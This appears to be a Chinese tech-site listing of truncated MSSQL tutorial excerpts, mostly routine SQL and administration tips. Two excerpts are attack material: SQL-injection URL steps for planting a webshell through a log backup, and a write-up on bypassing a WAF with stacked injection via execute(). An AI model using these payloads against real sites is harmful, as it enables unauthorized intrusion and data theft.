MSSQL - 技术教程文章

原创]access mysql mssql 随机 10条数据的sql语句" target="_blank">[原创]access mysql mssql 随机 10条数据的sql语句

access 随机 10条数据的方法复制代码 代码如下:select * from table order by rnd(id)其中rnd(id)中的id为表中的自增长字段access随机显示记录(不重复)解决方案 复制代码 代码如下:<% ‘-------------------------数据库连接----------------------- Set objConn = Server.CreateObject("ADODB.Connection") objConn.ConnectionString = "Provider=Microsoft.Jet.OLEDB.4.0;" &_ "Data Source=" & Server.MapPath("data.mdb") ob...

MSSQL常用函数

declare 定义变量 set 为变量赋值SUBSTRING()函数SUBSTRING ( expression, start, length )expression 字符串、二进制字符串、文本、图像、列或包含列的表达式。请勿使用包含聚合函数的表达式。start 整数或可以隐式转换为 int 的表达式,指定子字符串的开始位置。length 整数或可以隐式转换为 int 的表达式,指定子字符串的长度。CHARINDEX()函数返回字符或者字符串在另一个字符串中的起始位置select * from table_a where charin...

MSSQL case when【代码】

参考链接https://www.cnblogs.com/kevin2013/archive/2010/07/02/1769682.htmlcase when 有两种方式,一个是分支判断,一个是搜索函数。1.分支选择函数select (case(‘a‘) when ‘a‘ then ‘aa‘ when ‘b‘ then ‘bb‘ else ‘无‘ end) 测试 2.搜索函数等待补充原文:https://www.cnblogs.com/Alex-Mercer/p/12785622.html

linux编译安装mssql客户端和配置php连接mssql【代码】【图】

凡是连接数据库,必须安装客户端,我一般写博客都不写原理,但是后来发现回头看自己写的自己都看不懂,所以这章博客会多一点原理性的东西。数据库的连接一般都是在客户端上完成的,MySQL也不例外,安装mysql时一般都会这么安装:#yum install mysql mysql-server上面的mysql就是安装的客户端,mysql-server就是服务端,不安装客户端(mysql)就没办法执行mysql连接命令:mysql -u user -p pass -h -P port 而sqlserver同样需要客户...

OracleGateway11gR2访问异构数据库(MSSQL)配置文档(转)

1.前提条件1. 准备工作软件名称操作系统IP地址端口用户密码版本状态Oracle数据库Windowslocalhost1521scottscottwin32 Oracle11g R2已安装Oracle 透明网关Windowslocalhost win32_11gR2_gateways未安装MSSQL数据库Windows10.22.1.1251433sa123win64 MS SQL 2008已安装注:本例访问的是MSSQL的MSDB数据库2. Oracle数据库配置概要配置文件简介位置tnsnames.ora配置实例$dbhome_1\NETWORK\ADMINlistener.ora侦听实例,参数PROGRAM是...

SQL存储过程分页查询--只支持MSSQL2005及以上【代码】

USE[QSM]GO/****** Object: StoredProcedure [dbo].[UP_SysGetListByPage] Script Date: 04/12/2017 17:47:02 ******/SET ANSI_NULLS ONGOSET QUOTED_IDENTIFIER ONGO-- ============================================= -- Author: <Author,,Name> -- Create date: <Create Date,,> -- Description: 分页存储过程(只支技MSSQL2005及以上版本) -- =============================================ALTERPROCEDURE[dbo]....

MSSQL数据库已满的解决方法

当前的解决方法是:把硬盘上的其他文件删除,以空出硬盘空间,将数据库的日志文件大小改成无限制,然后分离数据库,要确保分离成功,、然后把数据库日志文件删除(最好是先改名,以防万一)。再附加数据库,这样会重建日志文件。 加回去之后,将数据库改成自动收缩,把日志文件改成按mb增长,增长最大设为一个固定的值,值的大小看数据处理情况,存在大指的update操作的话,应设为大一点。 在查询分析器上操作: 清空日志 DUMP TRA...

捕获mssqlservice 修改表后的数据,统一存储到特定的表中,之后通过代码同步两个库的数据【代码】【图】

根据之前的一些想法,如果有A,B 两个数据库, 如果把A 用户通过界面产生的更新或者插入修改,操作的数据同步更新到B 库中,如果允许延时2分钟以内 想法一: 通过创建触发器 把变更的数据和对应的表名称统一存储到某个特定的表,然后通过程序获取转换成sql 更新B数据库中的表,本文主要说明使用该方法想法二: 通过CDC 记录变更的内容, 园内搜索: SQL Server 变更数据捕获(CDC)监控表数据 即可 。以下是测试: drop database ...

Cacti 0.8.8b 成功监控mssql 2005【图】

类别:原创 服务器本文参考第一:说明目的:本机前提是已安装好了cacti 0.8.8b 并正常工作,本文档主要配置cacti插件并启用邮件短信告警。其它说明: cacti 0.8.8b的安装请参考我的其它博客文章《Cacti 0.8.8b 安装配置(含snmp配置) 》http://jedy82.blog.51cto.com/425872/1569689本文在此基础上配置Cacti服务器ip:192.168.10.112,mssql服务器ip:192.168.1.4cacti 使用yum方式安装,默认路径为/usr/share/cacti第二:本例操作...

mssql关于一个表格结构的另外一种显示(表达意思不变)【图】

一、需求  由于表达能力不好,直接上图。在mssql环境中需要把图1的表转化成图2的表: 图1 图2二、分析  图32.1创建表复制代码 代码如下:create table #tb (ID int primary key, Class nvarchar(max), [Subject] nvarchar(max), Score int) insert into #tb values(1,‘一(1)班‘,‘语文‘,‘92‘) insert into #tb values(2,‘一(1)班‘,‘数学‘,‘91‘) insert into #tb values(3,‘一(1)班‘,‘...

mssql 表 登陆名 修改

一,修改数据库远程登录帐号(当然也可以手工在sql数据库内建设)use abcgoexec sp_change_users_login ‘update_one‘,‘abc_f‘,‘abc_f‘go数据库导入完成后,还有一个地方需要确认,就是一般客户的表格以及存储过程的属主都是默认的dbo,在这种权限下,用户abc_f对表格是具有读写权限的,可以添加删除表格,但是无法更改现有属主为dbo的表格的表结构,对于存储过程,abc_f没有任何读写执行权限,这就可能造成用户程序出现问题。...

MSSQL效率优化随记【代码】【图】

1.尽量不要在where中进行计算,尤其是需要遍历的情况原来代码,执行大约40秒INSERTINTO@TransferCode ( PROXY_NO, TING_NO, WTotal, BTotal )SELECT H.PROXY_NO, H.TING_NO, SUM(CASEWHEN H.CARDTYPE=‘W‘THENCASEWHEN (B.DDATE=‘‘AND B.DTIME=‘‘) THEN0WHEN B.BCHIPEX=‘10‘THEN-B.BCHIP ELSE B.BCHIP ENDELSE0END),SUM(CASEWHEN H.CARDTYPE=‘B‘THENCASEWHEN (B.DDATE=‘‘AND B.DTIME=‘‘) THEN0WHEN B.BCHIPEX=‘10...

MSSQL查询所有数据库表,指定数据库的字段、索引

--查询所有数据库USE mastergoselect [name] from [sysdatabases] order by [name]--查询其中一个数据库test,就可以得到这个数据库中的所有的表名了,语句如下:USE testgoselect [id], [name] from [sysobjects] where [type] = ‘u‘ order by [name]--查出v_lyb这个表中所有的字段select [name] from [syscolumns] where [id] = 21575115 order by [colid]--得到该表中的记录条数前提这个表中要建立索引select [o].[id], [o].[...

MSSQL 2008不能用IP登录问题如何解决

看到网上好多人问为什么我的SQL 2008只能用服务器计算器名登录,而不能用IP登录呢?我也遇到过这个问题,看到网上的回答各有千秋,但没有一个写得比较便于操作的。经过一番网络关键字(SQL 2008 local 登录)查找文章,整理,尝试,终于我的SQL 2008能用IP地址或LOCAL登录了,在此感谢那些无名英雄。 最后,我的成功过程我不敢一个人私藏,特意整理了下解决过程与大家一共分享。 解决MSSQL 2008不能用IP登录的问题 前提准备:mssql...

MSSQL 2005 LOG备份webshell的方法

注:转载就注入出自‘孤孤浪子博客‘原创 http://itpro.blog.163.com 第一步http://itpro.blog.163.com/test.asp‘;alter/**/database/**/[netwebhome]/**/set/**/recovery/**/full[/url]-- 第二步:http://itpro.blog.163.com/test.asp‘;declare/**/@d/**/nvarchar(4000)/**/select/**/@d%3D0x640062006200610063006B00/**/backup/**/database/**/[netwebhome]/**/to/**/disk%3D@d/**/with/**/init-- 第三步http://itpro.blog.163...

易飞报表数据库PostgreSQL改成MSSQL方式

简述步骤1.在mssql上新增一个数据库,设定如下,编码要选择“chinese_PRC_CI_AL_KS_WS”2.用sql命令。在report中新增一个View3.BDE设定。leadertemp50 和 leader一样的设定,但DATABASENAME = report4.condctors.ini改成报表数据库DBE相信操作步骤见文档:主站下载: http://www.qywalk.com/ 博客:http://blog.sina.com.cn/qianyumanbu网盘下载:http://www.400gb.com/file/64954032原文:http://qianyumanbu.blog.51cto.com/505...

MSSQL 当前会话设置隔离级别与查询【代码】

之前因为MySQL没有with(nolock)这种写法,于是想设置隔离级别,结果被坑。 直觉以为和MSSQL一样只要打set transaction isolation level xxx 就能搞定 ,然后弄了老半天才发现中间需要价格session ,结果今天写SQL的时候感觉每个表都打with(nolock)太吃力,干脆直接设置READ UNCOMMITTED多美。。。--设置当前查询隔离级别 SET TRANSACTION ISOLATION LEVEL READ UNCOMMITTED--查询当前隔离级别 SELECT CASE transaction_isolat...

MSSQL 常用内置函数【代码】

一、判断表是否存在IF objectproperty(object_id(@tableName),‘IsUserTable‘) IS NOT NULLPRINT ‘存在‘ ELSE PRINT ‘不存在‘ 原文:http://www.cnblogs.com/kongxp/p/4120281.html

MSSQL 常见故障处理【代码】【图】

MSSQL 常见故障处理以及维护办法1.数据库文件收缩1.1 释放未使用的空间1.2 在释放未使用的空间前重新组织页1.3 将指定文件中的所有数据迁移到同一文件组中的其他文件2.日志文件收缩2.1 设置简单模式直接收缩3.Sql Agent作业代理3.1 错误日志相关3.1.1 循环生成错误日志4.AlwaysOn问题相关4.1 备份以及日志收缩问题4.2 Error: 35285, Severity: 16, State: 15.数据库登录/启动问题5.1 数据库处于可疑状态5.2 客户端登录加密失败 – ...

PHP读取mssql,json数据中文乱码【代码】

PHP及网页使用UTF-8编码,数据库是sql server2008,使用默认编码(936,即GBK编码)当读取数据库数据时,使用php自带的json_encode()返回到前端,结果中文不显示。解决办法:<?php header("Content-Type: text/html;charset=utf-8");//告诉浏览器不要缓存数据header("Cache-Control: no-cache"); require "../conn.php";require "../share/json_gbk2utf8.php";$query = ‘SELECT seq,employeeID,employeeName,department,posi...

走向DBA[MSSQL篇] 积跬步行千里【代码】【图】

原文:走向DBA[MSSQL篇] 积跬步行千里不知道大家对SQL系列的感不感兴趣 先在这里探个路 本文针对的读者为SQL菜鸟 欢迎大牛驳论或者补充既然是探路篇 就先说下数据过滤中的偏门匹配 希望能给大家带来收获create table 虫子的临时表 (编号 varchar(30),名称 varchar(30),备注 varchar(100) ) insert into 虫子的临时表 values(‘编号01‘,‘name01‘,‘这是一个奇迹‘) insert into 虫子的临时表 values(‘编号02‘,‘name02‘,‘这是...

Linux下用freetds连接mssql中文乱码的问题【参考2】

php5.3的情况下,用pdo的dblib驱动无法连接mssql的,根据官方的描述,5.2已经修改这个bug,5.3没有。用php自带的mssql函数可以的。编译freetds,php_mssql,pdo_dblib参数如下: ./configure --prefix=/usr/local/freetds --with-tdsver=8.0 --enable-msdblib./configure --with-php-config=/usr/local/php/bin/php-config --with-mssql=/usr/local/freetds/./configure--with-php-config=/usr/local/php/bin/php-config --with-mss...

MSSQL 负载均衡(Moebius)【图】

对长期开发.net的Programmer来说,MSSQLServer是再熟悉不过的,对于大访问量来说,Microsoft本身一直没有提出很好的解决办法,我们通常都依赖于第三方的解决方案(该方案是付费的):Moebius( For SQL),这个东西做的还是比较专业的,可以实现数据库的负载均衡,读写分离,双机备用,灾备,集群的同步也可以有实时同步和准实时同步等。 Moebius概念数据库集群技术可以有效地整合和利用现有 IT 资源,提供高效、可靠的数据服务。M...

MSSQL2008 全文索引的创建【代码】【图】

从MSSQL2008开始,全文索引推荐的创建方式已经与2005不同了。对于字符类型的数据库,可以直接创建。 CREATE UNIQUE INDEX hr_job_idx ON hr_job_database(id);CREATE FULLTEXT CATALOG ft AS DEFAULT;CREATE FULLTEXT INDEX ON hr_job_database(contents ) KEY INDEX hr_job_idx WITH STOPLIST = SYSTEM; 但是对于二进制创建的,必须指定扩展名列。例如docs列以imgage或者binary二进制存放word,excel,pdf等类型那么可以按照如...

关系数据库元数据处理类(一) 创建MSSQL元数据具体处理类【代码】【图】

1publicclass SqlServer : BaseMetadata2 {3 4public SqlServer(string connectionString)5 : base(new DbUtility(connectionString, DbProviderType.SqlServer))6 {7 8 }910protectedoverridestring GetDataBaseSting() 11 { 12return"Select name FROM Master..SysDatabases order by Name"; 13 } 1415protectedoverridestring GetDataTableString(string database = "") 16 ...

MSSQL 数据库远程访问设置【图】

首选介绍阿兴的一篇文章,如下(可点链接品读)我也是参照了阿兴的文章。成功设置了MS 数据库的远程访问。 在局域网成功进行测试,当然外网连接同理。 首先,我们在 SQL Server Management Studio 中对数据库进行了 ”允许远程连接” 设置。然后,我们需要确保 “SQL Server Browser” 服务启动,打开 TCP/IP 协议。 这时候问题来了:SQL Server 配置管理器 不见了!我的数据库是 MSSQL2012,系统是 Win10 的,听说 Win10 or 8 都...

Zabbix告警:SQL Instance MSSQLSERVER: Could not allocate a new page【代码】【图】

Zabbix的监控出现告警,具体的告警信息如下:“SQL Instance MSSQLSERVER: Could not allocate a new page”和“D::Disk space is low(used > 80%)" 第一个告警是Zabbix template for Microsoft SQL Server模板发出的告警,查看其具体信息,可以看到如下具体信息: Msg 1101 or 1105 was logged in the Windows Application Event Log. These errors indicate that SQL server could not allocate a new page for database becaus...

深入分析MSSQL数据库中事务隔离级别和锁机制【代码】

锁机制 NOLOCK和READPAST的区别。1. 开启一个事务执行插入数据的操作。 BEGIN TRAN tINSERT INTO CustomerSELECT ‘a‘,‘a‘2. 执行一条查询语句。 SELECT * FROM Customer WITH (NOLOCK)结果中显示”a”和”a”。当1中事务回滚后,那么a将成为脏数据。(注:1中的事务未提交) 。NOLOCK表明没有对数据表添加共享锁以阻止其它事务对数据表数据的修改。 SELECT * FROM Customer这条语句将一直死锁,直到排他锁解除或者锁超...

Python 学习 第十三篇:数据的读写-文件、DataFrame、json和pymssql【代码】

Python的文件是一个重要的对象,使用open()函数来打开文件,创建文件对象,进行文件的读写操作。当数据用于交换信息时,通常需要把数据保存为有格式的文本数据,可以保存为有特定的行分隔符和列分隔符的数据,这可以使用pandas模块中的函数来读写;也可以保存为json结构的数据,这可以使用json模块中的函数来实现;对于大型的数据交互,通常使用数据库。一,Python的open函数open()函数用于打开文件,创建文件对象:open(name, mod...

MSSQL WAF绕过(2)【代码】【图】

0x00 前言 上次的绕过太简单,也没有能注出数据或者获取权限,这次继续绕过,获取数据0x01 过程还是上次的站点,简单的判断,存在注入发现and 数字、exec、union select、 select 数字。。。被过滤发现execute函数没被过滤,狗没出来说明这个函数能用execute(‘sql语句‘) //execute函数中可以写sql语句,且为字符串,那么就可以传入一些变形字符串来绕过waf本地验证一下一些变形只是本次使用sql server堆叠注入,并不会将数据展示...